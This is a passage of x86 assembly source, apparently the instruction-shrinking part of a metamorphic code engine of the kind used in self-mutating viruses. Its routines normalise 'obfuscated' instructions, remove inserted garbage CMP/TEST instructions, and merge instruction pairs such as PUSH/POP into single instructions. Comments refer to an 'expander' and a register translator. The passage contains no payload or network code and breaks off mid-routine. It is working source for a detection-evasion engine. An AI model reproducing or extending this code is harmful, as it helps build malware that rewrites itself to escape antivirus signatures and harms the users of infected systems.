and eax, 0FFh
or eax, eax ; If it's labelled, end increasing
jnz @@End
mov eax, [edi] ; Get instruction
and eax, 0FFh
cmp eax, 0FFh ; If it's NOP, increase again
jz @@Again
@@End: mov eax, [edi]
and eax, 0FFh ; Check if the instruction uses a
call CheckIfInstructionUsesMem ; memory address
or eax, eax
jz @@_End
call OrderRegs ; If it uses a memory address, order the
; indexes
mov eax, [edi] ; Check if the instruction is MOV Mem,Mem
and eax, 0FFh
cmp eax, 4Fh
jnz @@_End
push edi ; If it's MOV Mem,Mem, order the indexes
mov edi, [edi+7] ; of the extended part
call OrderRegs
pop edi
@@_End: ret
IncreaseEIP endp
;; Function to order the indexes in an instruction that uses a memory address.
;; If it has a single index, it's set at +1 (since the disassembler maybe put
;; it at +2 and set a 8 value in +1). If it has a multiplicator, just leave
;; it at +2 (by specifications). If the instruction has two indexes with no
;; multiplicators, put the lower one at +1 and other at +2. In case that the
;; one at +2 has a multiplicator, the indexes are unexchanged.
OrderRegs proc
push edx
mov eax, [edi+1] ; Check the index
and eax, 0FFh
cmp eax, 8 ; If it doesn't exists, check the
jnz @@_Next ; second index
mov eax, [edi+2] ; Get the second index
and eax, 0FFh
cmp eax, 7 ; If it has a scalar modification (*2,
ja @@_End ; *4 or *8) just leave it.
; At this point, +1 is free and +2 holds an index
mov edx, [edi+1] ; Put the index at +1
and edx, 0FFFFFF00h
add eax, edx
mov [edi+1], eax
mov eax, [edi+2] ; Free the position at +2
and eax, 0FFFFFF00h
add eax, 8
mov [edi+2], eax
@@_End: pop edx ; Return
ret
; At this point, we put the lowest at +1. +1 is sure to hold
; a register, so +2 holds another one, 8 (no one) or one with
; multiplicator. In all cases, we can check for the lowest
; number and put it at +1 and we are ordering them (since a
; free position at +2 would be 8, which is always > [+1] or
; would use a scalar, so it would be >= 40h)
@@_Next: mov eax, [edi+2] ; Get the two indexes
mov edx, [edi+1]
and eax, 0FFh
and edx, 0FFh
cmp eax, edx ; If EAX > EDX, they are already ordered
ja @@_End
push eax
mov edx, [edi+2] ; Get the lowest at +2 in EDX
mov eax, [edi+1] ; Get the highest at +1 in EAX
and eax, 0FFh
and edx, 0FFFFFF00h
add eax, edx ; Combine the data
mov [edi+2], eax ; Set the register at +2
pop eax
mov edx, [edi+1] ; Get the DWORD at +1 (keep all info)
and edx, 0FFFFFF00h
add eax, edx ; Merge it with the lowest register
mov [edi+1], eax ; Set it at +1
pop edx
ret ; Return with the indexes ordered
OrderRegs endp
; EDI = Instruction pointer
; ECX = Address of last instruction
; returns:
; EAX != 0 if compressed, EAX = 0 if left unchanged
ShrinkThisInstructions proc
;;; Single instructions. The instructions are converted to their equivalent
;;; from the obfuscated form. In this way we also make easier the search of
;;; pairs and triplets.
push edi
@@Check_Single:
mov eax, [edi]
and eax, 0FFh
cmp eax, 30h ; Check XOR Reg,Imm
jnz @@Single_Next00
mov ecx, 0E0h ; Maybe it's NOT Reg
@@Single_Next_CommonXOR_s1:
mov eax, [edi+7] ; Get the Imm
@@Single_Next_CommonXOR_s1_2:
cmp eax, -1 ; Check if it's -1
jz @@Single_SetInstructionECX ; If it is, set opcode <ECX>
@@Single_Next_CheckNulOP:
or eax, eax ; Check if it's XOR with 0
jnz @@Single_End
jmp @@Single_SetNOP ; If it's 0, set a NOP
@@Single_SetInstructionECX:
mov eax, ecx ; Set the opcode in <ECX>
jmp @@Single_SetInstruction
@@Single_Next00:
;mov al, [edi]
cmp eax, 34h ; Check XOR Mem,Imm
jnz @@Single_Next00_
mov ecx, 0E1h ; Set NOT Mem if Imm == -1
jmp @@Single_Next_CommonXOR_s1
@@Single_Next00_:
cmp eax, 4Bh ; Check TEST Mem,Reg
jnz @@Single_Next00__
mov eax, 4Ah ; If it is, set TEST Reg,Mem (the other
jmp @@Single_SetInstruction ; possibility doesn't exist)
@@Single_Next00__:
cmp eax, 4Bh+80h ; Check TEST Mem,Reg (8 bits)
jnz @@Single_Next01
mov eax, 4Ah+80h ; It it is, set TEST Reg,Mem (8 bits)
jmp @@Single_SetInstruction
@@Single_Next01:
;mov al, [edi]
cmp eax, 30h+80h ; XOR Reg8,Imm8?
jnz @@Single_Next02
mov ecx, 0E2h ; Set NOT if Imm8 == -1
@@Single_Next01_GetSigned:
mov eax, [edi+7]
and eax, 0FFh
cmp eax, 80h
jb @@Single_Next01_NotSigned
add eax, 0FFFFFF00h
@@Single_Next01_NotSigned:
jmp @@Single_Next_CommonXOR_s1_2
@@Single_Next02:
;mov al, [edi]
cmp eax, 34h+80h ; XOR Mem8,Imm8?
jnz @@Single_Next03
mov ecx, 0E3h ; Set NOT if Imm8 == -1
jmp @@Single_Next01_GetSigned
@@Single_Next03:
;mov al, [edi]
cmp eax, 41h ; MOV Reg,Reg?
jnz @@Single_Next04
@@Single_Next_CommonMOV:
mov eax, [edi+1] ; Check if source and destiny are
mov ecx, [edi+7] ; the same
and eax, 0FFh
and ecx, 0FFh
cmp eax, ecx ; If they are, set NOP
jnz @@Single_End
@@Single_SetNOP:
mov eax, 0FFh
@@Single_SetInstruction:
mov ecx, [edi] ; Get the DWORD at [EDI]
and ecx, 0FFFFFF00h
and eax, 0FFh ; Set 0FF on the lower byte (set NOP)
add eax, ecx
mov [edi], eax ; Write back the DWORD
jmp @@EndCompressed
@@Single_Next04:
;mov al, [edi]
cmp eax, 41h+80h ; MOV Reg8,Reg8?
jz @@Single_Next_CommonMOV
@@Single_Next05:
;mov al, [edi]
cmp eax, 28h ; SUB Reg,Imm?
jnz @@Single_Next06
xor ecx, ecx ; Just put ADD
@@Single_Next_NegateImm:
mov eax, [edi+7] ; Negate the Imm
neg eax
mov [edi+7], eax
jmp @@Single_SetInstructionECX ; Set the opcode of ADD
@@Single_Next06:
;mov al, [edi]
cmp eax, 28h+80h ; SUB Reg8,Imm8?
jnz @@Single_Next07
mov ecx, 00h+80h ; Set the opcode of ADD Reg8,Imm8
jmp @@Single_Next_NegateImm ; Jump to negate the Imm
@@Single_Next07:
;mov al, [edi]
cmp eax, 2Ch ; SUB Mem,Imm?
jnz @@Single_Next08
mov ecx, 04h ; Set ADD Mem,-Imm
jmp @@Single_Next_NegateImm
@@Single_Next08:
;mov al, [edi]
cmp eax, 2Ch+80h ; SUB Mem8,Imm8?
jnz @@Single_Next09
mov ecx, 04h+80h ; Set ADD Mem8,-Imm8
jmp @@Single_Next_NegateImm
@@Single_Next09:
;mov al, [edi]
or eax, eax ; ADD Reg,Imm?
jnz @@Single_Next10
@@Single_Next_CheckNulOP_2:
mov eax, [edi+7] ; Check if it's ADD Reg,0. If it is,
jmp @@Single_Next_CheckNulOP ; anulate the instruction
@@Single_Next10:
cmp eax, 4 ; ADD Mem,Imm?
jz @@Single_Next_CheckNulOP_2 ; If it is, check for Imm==0
cmp eax, 04h+80h ; ADD Mem8,Imm8?
jz @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0
cmp eax, 0Ch ; OR Mem,Imm?
jz @@Single_Next_CheckNulOP_2 ; Check for Imm == 0
cmp eax, 0Ch+80h ; OR Mem8,Imm8?
jz @@Single_Next_CheckNulOP_2_8b ; Check for Imm8 == 0
cmp eax, 24h+80h ; AND Mem8,Imm8?
jz @@Single_Next10_Check_s1_8b ; Check for Imm8 == -1 or 0
cmp eax, 24h ; AND Mem,Imm?
jnz @@Single_Next10_ ; Check for Imm == -1 or 0
@@Single_Next10_Check_s1:
mov eax, [edi+7] ; Get Imm
cmp eax, -1
jz @@Single_SetNOP ; If Imm == -1, set NOP
or eax, eax
jnz @@Single_End ; If Imm == 0,
mov eax, 44h ; set MOV Mem,0
jmp @@Single_SetInstruction
@@Single_Next10_Check_s1_8b:
mov eax, [edi+7]
and eax, 0FFh
cmp eax, 0FFh ; Check if Imm8 == -1
jz @@Single_SetNOP ; If it is, set NOP
or eax, eax ; Check if Imm8 == 0
jnz @@Single_End ; If it isn't, check doubles
mov eax, 44h+80h ; Set MOV Mem8,0
jmp @@Single_SetInstruction
@@Single_Next10_:
;mov al, [edi]
cmp eax, 00h+80h ; ADD Reg8,Imm8?
jnz @@Single_Next11
@@Single_Next_CheckNulOP_2_8b:
;xor eax, eax
mov eax, [edi+7] ; Get the Imm and go to check if it's 0
and eax, 0FFh
jmp @@Single_Next_CheckNulOP
@@Single_Next11:
;mov al, [edi]
cmp eax, 08h ; OR Reg,Imm?
jz @@Single_Next_CheckNulOP_2 ; Check if Imm is 0
@@Single_Next12:
;mov al, [edi]
cmp eax, 08h+80h ; OR Reg8,Imm8?
jz @@Single_Next_CheckNulOP_2_8b ; Check if is 0
@@Single_Next13:
;mov al, [edi]
cmp eax, 20h ; AND Reg,Imm?
jnz @@Single_Next14
mov eax, [edi+7] ; Check if Imm == -1
cmp eax, -1
jz @@Single_SetNOP ; If it is, set NOP
or eax, eax
jnz @@Single_End
mov eax, 40h ; If it's 0, set MOV Reg,0
jmp @@Single_SetInstruction
@@Single_Next14:
;mov al, [edi]
cmp eax, 20h+80h ; AND Reg8,Imm8?
jnz @@Single_Next15
mov eax, [edi+7] ; Get Imm8
and eax, 0FFh
cmp eax, 0FFh ; Check if it's -1
jz @@Single_SetNOP ; If it is, set NOP
or eax, eax
jnz @@Single_End ; Check if it's 0
mov eax, 40h+80h ; If it is, set MOV Reg,0
jmp @@Single_SetInstruction
@@Single_Next15:
;mov al, [edi]
cmp eax, 31h ; XOR Reg,Reg?
jnz @@Single_Next16
@@Single_Next_CheckSetTo0:
mov ecx, 40h ; Set ECX = pseudoopcode of MOV
@@Single_Next_CheckSetTo0_2:
mov eax, [edi+1] ; Check if source == destiny
mov ebx, [edi+7]
and eax, 0FFh
and ebx, 0FFh
cmp eax, ebx ; If they are equal...
jnz @@Single_End ; ...
xor eax, eax ; ...set MOV Reg,0
mov [edi+7], eax
jmp @@Single_SetInstructionECX
@@Single_Next16:
;mov al, [edi]
cmp eax, 31h+80h ; XOR Reg8,Reg8?
jnz @@Single_Next17
@@Single_Next_CheckSetTo0_8b:
mov ecx, 40h+80h ; Check if source == destiny and put
jmp @@Single_Next_CheckSetTo0_2 ; MOV Reg8,0 if they are
; equal
@@Single_Next17:
;mov al, [edi]
cmp eax, 29h ; SUB Reg,Reg?
jz @@Single_Next_CheckSetTo0 ; Check in the same way as
; XOR Reg,Reg
@@Single_Next18:
;mov al, [edi]
cmp eax, 29h+80h ; SUB Reg8,Reg8?
jz @@Single_Next_CheckSetTo0_8b ; Check if src == dest, to
; see if we put MOV Reg8,0
@@Single_Next19:
;mov al, [edi]
cmp eax, 09h ; OR Reg,Reg?
jnz @@Single_Next20
@@Single_Next_CheckCheckIf0:
mov ecx, 38h ; Put CMP Reg,0 if src == dest
jmp @@Single_Next_CheckSetTo0_2
@@Single_Next20:
;mov al, [edi]
cmp eax, 09h+80h ; OR Reg8,Reg8?
jnz @@Single_Next21
@@Single_Next_CheckCheckIf0_8b:
mov ecx, 38h+80h ; Put CMP Reg8,0 if src == dest
jmp @@Single_Next_CheckSetTo0_2
@@Single_Next21:
;mov al, [edi]
cmp eax, 21h ; AND Reg,Reg?
jz @@Single_Next_CheckCheckIf0
@@Single_Next22:
;mov al, [edi]
cmp eax, 21h+80h ; AND Reg8,Reg8?
jz @@Single_Next_CheckCheckIf0_8b
@@Single_Next23:
;mov al, [edi]
cmp eax, 49h ; TEST Reg,Reg?
jz @@Single_Next_CheckCheckIf0
@@Single_Next24:
;mov al, [edi]
cmp eax, 49h+80h ; TEST Reg8,Reg8?
jz @@Single_Next_CheckCheckIf0_8b
@@Single_Next25:
;mov al, [edi]
cmp eax, 0FCh ; LEA Reg,[Mem]?
jnz @@Single_Next26
mov eax, [edi+2] ; Check second index
and eax, 0FFh
cmp eax, 40h ; If it has a multiplicator, it's not
jae @@Single_Next26 ; interesting
mov eax, [edi+1] ; Now +1 holds the first index (and if
and eax, 0FFh ; there aren't multiplicators, this
cmp eax, 8 ; must be < 8 if there is an index)
jz @@Single_Next_LEA_CheckMOV ; If 8, there aren't indexes
mov ecx, [edi+7]
and ecx, 0FFh ; ECX = Destiny register
cmp eax, ecx ; Are they equal?
jz @@Single_Next_LEA_CheckADD ; If so, check ADD
mov eax, [edi+2] ; Get the second index
and eax, 0FFh ; Is there anyone?
cmp eax, 8
jz @@Single_Next_LEA_CheckMOVRegReg ; If not, check MOV
cmp eax, ecx ; Is equal to the destiny?
jz @@Single_Next_LEA_CheckADDRegReg2 ; If so, check ADD
mov ecx, [edi+1] ; Get the first index
and ecx, 0FFh
cmp eax, ecx ; If it's not equal to the second,
jnz @@Single_End ; finish singles conversion
mov eax, 8 ; Set the first index as 8
mov ecx, [edi+1]
and ecx, 0FFFFFF00h
add eax, ecx
mov [edi+1], eax
mov eax, [edi+2]
add eax, 40h ; Set LEA Reg,[2*Reg]
mov [edi+2], eax
jmp @@EndCompressed ; End with compression flag
@@Single_Next_LEA_CheckADDRegReg2:
mov eax, [edi+3] ; Get the immediate
or eax, eax ; If it's 0, set ADD Reg,Reg
jz @@Single_Next_LEA_SetADDRegReg_2 ; If not, leave LEA
jmp @@Single_End
@@Single_Next_LEA_CheckMOV:
mov eax, [edi+2] ; It DOESN'T hold anything more than
and eax, 0FFh ; 8, but just in case
cmp eax, 8
jz @@Single_Next_LEA_SetMOV ; If 8, set MOV Reg,Imm
mov ecx, [edi+7] ; Get the destiny
and ecx, 0FFh
cmp eax, ecx ; If destiny == index, set ADD
jz @@Single_Next_LEA_SetADD_2
mov eax, [edi+3] ; Get the Immediate
or eax, eax ; If it isn't 0, end
jnz @@Single_End
@@Single_Next_LEA_SetMOVRegReg_2:
mov eax, [edi+2] ; Set MOV Reg,Reg (from LEA Reg,[Reg])
mov ecx, [edi+1]
and ecx, 0FFFFFF00h
and eax, 0FFh
add eax, ecx
mov [edi+1], eax
mov eax, 41h
jmp @@Single_SetInstruction
@@Single_Next_LEA_SetADD_2:
mov ecx, [edi+1] ; Set ADD Reg,Reg (from
and ecx, 0FFFFFF00h ; LEA Reg,[Reg+Reg2])
and eax, 0FFh
add eax, ecx
mov [edi+1], eax
mov eax, [edi+3]
mov [edi+7], eax
xor eax, eax
jmp @@Single_SetInstruction
@@Single_Next_LEA_SetMOV:
mov ecx, 40h ; Set MOV Reg,Imm (from LEA Reg,[Imm])
mov eax, [edi+7]
and eax, 0FFh
mov ebx, [edi+1]
and ebx, 0FFFFFF00h
add eax, ebx
mov [edi+1], eax
@@Single_Next_LEA_SetInstructionECX:
mov eax, [edi+3]
mov [edi+7], eax
jmp @@Single_SetInstructionECX
@@Single_Next_LEA_CheckADD:
mov eax, [edi+2] ; Check another possibility for ADD
and eax, 0FFh
cmp eax, 8 ; If Index2 == 8 (not set), set
jz @@Single_Next_LEA_SetADD ; ADD Reg,Imm
mov eax, [edi+3] ; If Index2 != 8 and memory dword
or eax, eax ; addition is != 0, end
jnz @@Single_End
@@Single_Next_LEA_SetADDRegReg:
mov eax, [edi+2] ; Set ADD Reg,Reg
mov ebx, [edi+1]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [edi+1], eax
@@Single_Next_LEA_SetADDRegReg_2:
mov eax, 01h ; Pseudo-opcode of ADD Reg,Reg
jmp @@Single_SetInstruction
@@Single_Next_LEA_SetADD:
mov eax, [edi+3]
mov [edi+7], eax ; Set memory dword addition as the
xor eax, eax ; Imm to add in ADD Reg,Imm
jmp @@Single_SetInstruction
@@Single_Next_LEA_CheckMOVRegReg:
mov eax, [edi+3] ; If the dword addition is 0, set
or eax, eax ; MOV Reg,Reg2
jnz @@Single_End
@@Single_Next_LEA_SetMOVRegReg:
mov eax, 41h ; Pseudo-opcode of MOV Reg,Reg
jmp @@Single_SetInstruction
@@Single_Next26:
cmp eax, 4Fh ; MOV Mem,Mem?
jnz @@Single_Next27
mov esi, [edi+7] ; If src == dest, set NOP
mov eax, [edi+1] ; This could be, for example, a
cmp eax, [esi+1] ; compression of the sequence
jnz @@Single_End ; PUSH [EAX+123] / POP [EAX+123]
mov eax, [edi+3]
cmp eax, [esi+3]
jz @@Single_SetNOP
@@Single_Next27:
cmp eax, 38h ; CMP instruction?
jb @@Single_Next28
cmp eax, 3Ch
ja @@Single_Next28
@@Single_Next27_Common:
mov edx, edi ; Let's get the next instruction. It the
@@Single_Next27_GetNextInstr: ; next instruction is not a conditional
add edx, 10h ; jump, this CMP is a garbage instruction,
mov eax, [edx+0Bh] ; so we NOP it
and eax, 0FFh
or eax, eax
jnz @@Single_SetNOP
mov eax, [edx]
and eax, 0FFh
cmp eax, 0FFh
jz @@Single_Next27_GetNextInstr
cmp eax, 70h
jb @@Single_SetNOP
cmp eax, 7Fh
ja @@Single_SetNOP
jmp @@Single_End
@@Single_Next28:
cmp eax, 38h+80h ; 8 bits CMP instruction?
jb @@Single_Next29
cmp eax, 3Ch+80h
jbe @@Single_Next27_Common
@@Single_Next29:
cmp eax, 48h ; Do the same with TEST. A single test
jb @@Single_Next30 ; (without conditional jump) is garbage
cmp eax, 4Ch ; for sure.
jbe @@Single_Next27_Common
@@Single_Next30:
cmp eax, 48h+80h ; 8 bits TEST instruction?
jb @@Single_Next31
cmp eax, 4Ch+80h
jbe @@Single_Next27_Common
@@Single_Next31:
@@Single_End:
;; Once here we check if it's a 8 bits instruction. If it's the case,
;; we save for later the register it's using (concretely, for register
;; translation). The last one stored here is the one we are using along
;; the engine.
mov eax, [edi] ; Get the instruction
and eax, 0FFh
cmp eax, 80h+00 ; Check if it's a 8 bits opcode
jb @@Check_Double
cmp eax, 80h+4Ch
ja @@Check_Double
and eax, 7
or eax, eax ; If it is, check if it's MOV Reg,Imm,
jz @@GetFrom_RegImm
cmp eax, 1 ; MOV Reg,Reg,
jz @@GetFrom_RegReg
cmp eax, 2 ; MOV Reg,Mem or
jz @@GetFrom_RegMem
cmp eax, 3 ; MOV Mem,Reg, and then we get the
jnz @@Check_Double ; register and save it, having then
@@GetFrom_MemReg: ; the 8 bits register that we are using
@@GetFrom_RegMem: ; along the code. This register must be
@@GetFrom_RegReg: ; treated specially by the register
mov eax, [edi+7] ; translator of the expander, because must
and eax, 0FFh ; be one of the general use registers
jmp @@GetFrom_OK ; (EAX, ECX, EDX and EBX)
@@GetFrom_RegImm:
mov eax, [edi+1]
and eax, 0FFh
@@GetFrom_OK:
mov [ebp+Register8Bits], eax ; Save the register
;;; Pairs of instructions. We try to match known pairs to merge them to the
;;; simple one-instruction form.
@@Check_Double:
mov esi, edi
call IncreaseEIP ; Increase pointer and get the second
cmp edi, [ebp+AddressOfLastInstruction] ; instruction.
jz @@EndNoCompressed
mov eax, [edi+0Bh]
and eax, 0FFh
or eax, eax
jnz @@EndNoCompressed ; We don't join instructions with
; labels on them.
;; Pair to check is at <[esi],[edi]>
mov eax, [esi]
and eax, 0FFh
cmp eax, 68h ; Check pair with PUSH Imm
jnz @@Double_Next00
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h ; PUSH Imm/POP Reg?
jz @@Double_Next_PutMOVRegImm
cmp eax, 59h ; PUSH Imm/POP Mem?
jnz @@EndNoCompressed
@@Double_Next_PutMOVMemImm:
mov eax, [edi+1]
mov [esi+1], eax
mov eax, [edi+3]
mov [esi+3], eax
mov eax, 44h ; Set MOV Mem,Imm
jmp @@Double_Next_SetInstruction
@@Double_Next_PutMOVRegImm:
mov eax, [edi+1]
mov [esi+1], eax
mov eax, 40h ; Set MOV Reg,Imm
@@Double_Next_SetInstruction:
mov ebx, [esi]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi], eax
@@Double_Next_SetNOP:
mov eax, 0FFh ; Set NOP at second instruction
mov [edi], al
jmp @@EndCompressed
@@Double_Next00:
;mov al, [esi]
cmp eax, 50h ; Check pair beginning with PUSH Reg
jnz @@Double_Next01
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h ; PUSH Reg/POP Reg?
jz @@Double_Next_PushPop
cmp eax, 0FEh ; PUSH Reg/RET?
jz @@Double_Next00_JMPReg
cmp eax, 59h ; PUSH Reg/POP Mem?
jnz @@Double_End
mov eax, [esi+1]
mov ebx, [esi+7]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi+7], eax
mov eax, [edi+1]
mov [esi+1], eax
mov eax, [edi+3]
mov [esi+3], eax
mov eax, 43h ; If PUSH Reg/POP Mem, set MOV Mem,Reg
jmp @@Double_Next_SetInstruction
@@Double_Next_PushPop:
mov eax, [edi+1]
mov [esi+7], eax
mov eax, 41h ; If PUSH Reg/POP Reg, set MOV Reg,Reg
jmp @@Double_Next_SetInstruction
@@Double_Next00_JMPReg:
mov eax, 0EDh ; If PUSH Reg/RET, set JMP Reg
jmp @@Double_Next_SetInstruction
@@Double_Next01:
;mov al, [esi]
cmp eax, 51h ; Check pair beginning with PUSH Mem
jnz @@Double_Next02
mov eax, [edi]
and eax, 0FFh
cmp eax, 58h ; PUSH Mem/POP Reg?
jz @@Double_Next01_PushPop
cmp eax, 59h ; PUSH Mem/POP Mem?
jnz @@Double_End
@@Double_Next01_MOVMemMem:
mov [esi+7], edi
mov [edi+7], esi
mov eax, 4Fh ; If PUSH Mem/POP Mem, MOV Mem,Mem
jmp @@Double_Next_SetInstruction
@@Double_Next01_PushPop:
mov eax, [edi+1]
mov ebx, [edi+1]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi+7], eax
mov eax, 42h ; If PUSH Mem/POP Reg, set MOV Reg,Mem
jmp @@Double_Next_SetInstruction
@@Double_Next02:
mov eax, [esi+1]
cmp eax, [edi+1]
jnz @@Double_Next_NoMem
mov eax, [esi+3] ; If bytes from +1 to +6 coincides,
cmp eax, [edi+3] ; it can be a memory operation with
jnz @@Double_Next_NoMem ; the same memory variable. If not,
; just jump to check other things
; From now and while we are checking memory variable using instructions,
; we are sure that they use the same memory variable.
mov eax, [esi]
and eax, 0FFh
; cmp eax, 0FBh
; jz @@Double_Next02_Check
cmp eax, 0F6h ; Check if it's APICALL_STORE
jz @@Double_Next02_Check ; If it is, jump (it's just like
; a MOV Mem,Reg)
cmp eax, 43h ; MOV Reg,Mem?
jnz @@Double_Next03
@@Double_Next02_Check:
mov eax, [edi] ; Get the second instruction
and eax, 0FFh
cmp eax, 51h ; PUSH Mem?
jz @@Double_Next02_PushReg
cmp eax, 4Ch ; OP Mem,Imm?
jbe @@Double_Next_OPRegReg
cmp eax, 0EAh ; CALL Mem?
jz @@Double_Next02_CALLMem
cmp eax, 0EBh ; JMP Mem?
jnz @@Double_End
@@Double_Next02_JMPMem:
mov eax, 0EDh ; MOV Mem,Reg + JMP Mem = JMP Reg
@@Double_Next02_XXXMem:
push eax
mov eax, [esi+7]
mov ebx, [esi+1]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi+1], eax
pop eax
jmp @@Double_Next_SetInstruction
@@Double_Next02_CALLMem:
mov eax, 0ECh ; MOV Mem,Reg + CALL Mem = CALL Reg
jmp @@Double_Next02_XXXMem
@@Double_Next_OPRegReg:
and eax, 7Fh ; Check operation
cmp eax, 3Bh ; Check for CMP Mem,Reg
jz @@Double_Next02_MergeCheck ; If it is, merge the check
cmp eax, 4Bh ; Check for TEST Mem,Reg
jz @@Double_Next02_MergeCheck ; If it is, merge
cmp eax, 4Ah ; Check for TEST Reg,Mem (in fact, the
jz @@Double_Next02_MergeCheck ; same x86 opcode)
and eax, 7
cmp eax, 2 ; Check for OP Reg,Mem
jnz @@Double_End ; If not, finish
mov eax, [esi+7] ; If so, merge it:
mov [esi+1], eax ; MOV Mem,Reg + OP Reg,Mem = OP Reg,Reg
mov eax, [edi+7] ; We don't care about the two registers
mov [esi+7], eax ; being equal, because that is going to
; be checked by the scanning of single
; instructions
@@Double_Next02_SetOP:
mov eax, [edi] ; Get the OP
and eax, 0F8h ; Transform it to OP Reg,Reg
add eax, 1
jmp @@Double_Next_SetInstruction
@@Double_Next02_MergeCheck:
mov eax, [edi+7]
mov [esi+1], eax ; Merge the check (if CMP/TEST Reg,Mem)
jmp @@Double_Next02_SetOP
@@Double_Next02_PushReg:
mov eax, [esi+7]
mov [esi+1], eax
mov eax, 50h ; MOV Mem,Reg/PUSH Mem = PUSH Reg
jmp @@Double_Next_SetInstruction
@@Double_Next03:
;mov al, [esi]
cmp eax, 0C3h ; Check pair beginning with MOV Mem8,Reg8
jnz @@Double_Next04
mov eax, [edi]
and eax, 0FFh
cmp eax, 00h+80h ; Check if it's a normal operation
jb @@Double_End ; (pseudo-opcodes 80-CC)
cmp eax, 4Ch+80h
jbe @@Double_Next_OPRegReg
jmp @@Double_End
@@Double_Next04:
cmp eax, 44h ; Check if it begins with MOV Mem,Imm
jnz @@Double_Next05
mov eax, [edi]
and eax, 0FFh
cmp eax, 51h ; PUSH Mem?
jz @@Double_Next04_PushImm ; Set PUSH Imm
cmp eax, 4Ch
ja @@Double_Next05
and eax, 7
cmp eax, 2 ; OP Reg,Mem?
jnz @@Double_Next05 ; If not, check next pair
@@Double_Next_Merge_MOV_OP:
mov eax, [edi+7]
mov ebx, [esi+1]
and ebx, 0FFFFFF00h
and eax, 0FFh
add eax, ebx
mov [esi+1], eax
mov eax, [edi]
and eax, 0F8h ; MOV Mem,Imm + OP Reg,Mem = OP Reg,Imm
jmp @@Double_Next_SetInstruction
@@Double_Next04_PushImm:
mov eax, 68h ; MOV Mem,Imm + PUSH Mem = PUSH Imm
jmp @@Double_Next_SetInstruction
@@Double_Next05:
mov eax, [esi]
and eax, 0FFh
cmp eax, 44h+80h ; Same as above, but 8 bits operations
jnz @@Double_Next06
mov eax, [edi]
and eax, 0FFh
cmp eax, 00h+80h
jb @@Double_Next06
cmp eax, 4Ch+80h
ja @@Double_Next06
and eax, 7
cmp eax, 2
jnz @@Double_Next06
jmp @@Double_Next_Merge_MOV_OP
@@Double_Next06:
mov eax, [esi]
and eax, 0FFh
cmp eax, 59h ; POP Mem?
jnz @@Double_Next_NoMem
mov eax, [edi]
and eax, 0FFh
cmp eax, 42h ; POP Mem + MOV Reg,Mem?
jz @@Double_Next06_POPReg
cmp eax, 4Fh ; POP Mem + MOV Mem,Mem?
jz @@Double_Next06_POPMem
cmp eax, 51h ; POP Mem + PUSH Mem?
jz @@Double_Next_SetDoubleNOP
cmp eax, 0EBh ; POP Mem + JMP Mem?
jnz @@Double_Next_NoMem
mov eax, 0FEh ; POP Mem + JMP Mem = RET
jmp @@Double_Next_SetInstruction
@@Double_Next06_POPReg:
mov eax, [edi+7]
mov [esi+1], eax
mov eax, 58h ; POP Mem + MOV Reg,Mem = POP Reg
jmp @@Double_Next_SetInstruction
@@Double_Next06_POPMem:
mov ebx, [edi+7]
mov eax, [ebx+1]
mov [esi+1], eax
mov eax, [ebx+3]
mov [esi+3], eax ; POP Mem + MOV Mem2,Mem = POP Mem2
jmp @@Double_Next_SetNOP
@@Double_Next_SetDoubleNOP:
mov eax, 0FFh ; POP Mem + PUSH Mem = NOP
jmp @@Double_Next_SetInstruction
@@Double_Next_NoMem:
mov eax, [esi]
and eax, 0FFh
cmp eax, 40h ; MOV Reg,Imm?
jnz @@Double_Next07
mov eax, [edi]
and eax, 0FFh
cmp eax, 42h+80h ; MOV Reg,Imm + MOV Reg8,Mem8?
jz @@Double_Next06_MaybeMOVZX
cmp eax, 1 ; MOV Reg,Imm + ADD Reg,Reg?
jnz @@Double_Next07
mov eax, [esi+1] ; MOV Reg,Imm + ADD Reg,Reg2 =
and eax, 0FFh ; = LEA Reg,[Reg2+Imm]
mov ebx, [edi+7]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next07
mov eax, [esi+7]
mov [esi+3], eax
mov eax, [esi+1]
mov [esi+7], eax
mov eax, [edi+1]
and eax, 0FFh
mov ebx, [esi+1]
and ebx, 0FFFFFF00h
add eax, ebx
mov [esi+1], eax
@@Double_Next06_SetLEA:
mov eax, [esi+2]
and eax, 0FFFFFF00h
add eax, 8
mov [esi+2], eax
mov eax, 0FCh
jmp @@Double_Next_SetInstruction
@@Double_Next06_MaybeMOVZX:
mov eax, [esi+7]
or eax, eax
jnz @@Double_Next07
mov eax, [esi+1]
and eax, 0FFh
mov ebx, [edi+7]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next07
mov ebx, [edi+1]
and ebx, 0FFh
cmp eax, ebx
jz @@Double_Next07
mov ebx, [edi+2]
and ebx, 0Fh
cmp eax, ebx
jz @@Double_Next07
mov [esi+7], eax
mov eax, [edi+1]
mov [esi+1], eax
mov eax, [edi+3]
mov [esi+3], eax
mov eax, 0F8h ; MOV Reg,0+MOV Reg8,Mem8=MOVZX Reg,Mem8
jmp @@Double_Next_SetInstruction
@@Double_Next07:
mov eax, [esi]
and eax, 0FFh
cmp eax, 41h ; MOV Reg,Reg?
jnz @@Double_Next08
mov eax, [edi]
and eax, 0FFh
or eax, eax ; MOV Reg,Reg + ADD Reg,Imm?
jz @@Double_Next07_LEA01
cmp eax, 1 ; MOV Reg,Reg + ADD Reg,Reg?
jnz @@Double_Next08
mov eax, [esi+7]
and eax, 0FFh
mov ebx, [edi+7]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next08
mov eax, [edi+1]
mov [esi+2], eax
xor eax, eax
mov [esi+3], eax ; MOV Reg,Reg2 + ADD Reg,Reg3 =
mov eax, 0FCh ; = LEA Reg,[Reg2+Reg3]
jmp @@Double_Next_SetInstruction
@@Double_Next07_LEA01:
mov eax, [esi+7]
and eax, 0FFh
mov ebx, [edi+1]
and ebx, 0FFh
cmp eax, ebx
jnz @@Double_Next08
mov eax, [edi+7] ; MOV Reg,Reg2 + ADD Reg,Imm =
mov [esi+3], eax ; = LEA Reg,[Reg2+Imm]
jmp @@Double_Next06_SetLEA
@@Double_Next08:
mov eax, [esi]
and eax, 0FFh
or eax, eax ; ADD Reg,Imm?
